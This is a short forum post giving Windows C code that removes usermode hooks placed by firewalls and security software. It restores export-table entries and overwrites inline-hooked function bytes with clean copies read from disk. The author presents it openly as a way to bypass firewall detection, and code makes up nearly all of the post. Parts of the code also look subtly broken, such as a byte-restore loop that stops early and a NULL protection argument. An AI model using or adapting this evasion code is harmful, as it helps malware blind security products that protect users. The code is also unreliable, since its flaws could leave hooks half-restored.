By: akcom
Firewall's implementing usermode hooks to detect (shock) viral/malicious hooks is both idiotic and easy to bypass, the code to do it follows. This protected against Export Table Patching & extended/simple code overwrite (inline hooking).
#define makeptr( Base, Increment, Typecast ) ((Typecast)( (ULONG)(Base) + (ULONG)(Increment) ))
#define incptr( Base, Increment, Typecast ) ((Typecast)RVAToVA( (ULONG)(Base), (ULONG)(Increment) ))
ULONG RVAToVA( ULONG Base, ULONG Increment );
void Unhook( HMODULE Module, LPSTR Function )
{
char MFileName[MAX_PATH];
GetModuleFileName( Module, MFileName, sizeof(MFileName) );
HANDLE hFile = CreateFile( MFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );
SetFilePointer( hFile, 0, NULL, FILE_BEGIN );
ULONG dwTemp;
dwTemp = GetFileSize( hFile, NULL );
BYTE *Base = new BYTE[dwTemp];
ReadFile( hFile, Base, dwTemp, &dwTemp, NULL );
CloseHandle( hFile );
PIMAGE_NT_HEADERS Nt = makeptr( Base, ((PIMAGE_DOS_HEADER)Base)->e_lfanew, PIMAGE_NT_HEADERS );
PIMAGE_EXPORT_DIRECTORY Exports =
incptr( Base, Nt->OptionalHeader.DataDirectory[0].VirtualAddress, PIMAGE_EXPORT_DIRECTORY );
PBYTE FuncHooked = (PBYTE)GetProcAddress( Module, Function );
PBYTE FuncOriginal = NULL;
char **Names = incptr( Base, Exports->AddressOfNames, char ** );
ULONG *Functions = incptr( Base, Exports->AddressOfFunctions, ULONG * );
ULONG RVA;
ULONG VA;
for ( ULONG i = 0; i < Exports->NumberOfNames;i++ )
{
if ( _stricmp( incptr( Base, Names[i], char * ), Function ) == 0 )
{
//protection against export table patching
RVA = Functions[i];
VA = (ULONG)GetProcAddress( Module, Function ) - (ULONG)Module;
if ( VA != RVA )
{
ULONG *EATFunc =
makeptr(
Module,
makeptr(
Module,
makeptr( Module, ((PIMAGE_DOS_HEADER)Module)->e_lfanew, PIMAGE_NT_HEADERS )->OptionalHeader.DataDirectory[0].VirtualAddress,
PIMAGE_EXPORT_DIRECTORY )->AddressOfFunctions,
PULONG
);
EATFunc[i] = RVA;
}
FuncOriginal = incptr( Base, Functions[i], PBYTE );
break;
}
}
//protection against extended code overwriting
MEMORY_BASIC_INFORMATION Info;
VirtualQuery( FuncHooked, &Info, sizeof(Info) );
ULONG OldProtection;
VirtualProtect( FuncHooked, Info.RegionSize, PAGE_EXECUTE_READWRITE, &OldProtection );
i = 0;
while ( FuncHooked[i] != FuncOriginal[i] )
{
FuncHooked[i] = FuncOriginal[i];
i++;
}
delete []Base;
VirtualProtect( FuncHooked, Info.RegionSize, OldProtection, NULL );
}
ULONG RVAToVA( ULONG Base, ULONG Increment )
{
PIMAGE_NT_HEADERS Nt = makeptr( Base, ((PIMAGE_DOS_HEADER)Base)->e_lfanew, PIMAGE_NT_HEADERS );
USHORT SCount = Nt->FileHeader.NumberOfSections;
PIMAGE_SECTION_HEADER Sections = makeptr( Nt, sizeof(*Nt), PIMAGE_SECTION_HEADER );
for ( USHORT i = 0; i < SCount; i++ )
{
if ( (Increment >= Sections[i].VirtualAddress ) && (Increment <= (Sections[i].VirtualAddress + Sections[i].SizeOfRawData)) )
{
return ( (Increment - Sections[i].VirtualAddress) + Sections[i].PointerToRawData + Base);
}
}
return Base + Increment;
}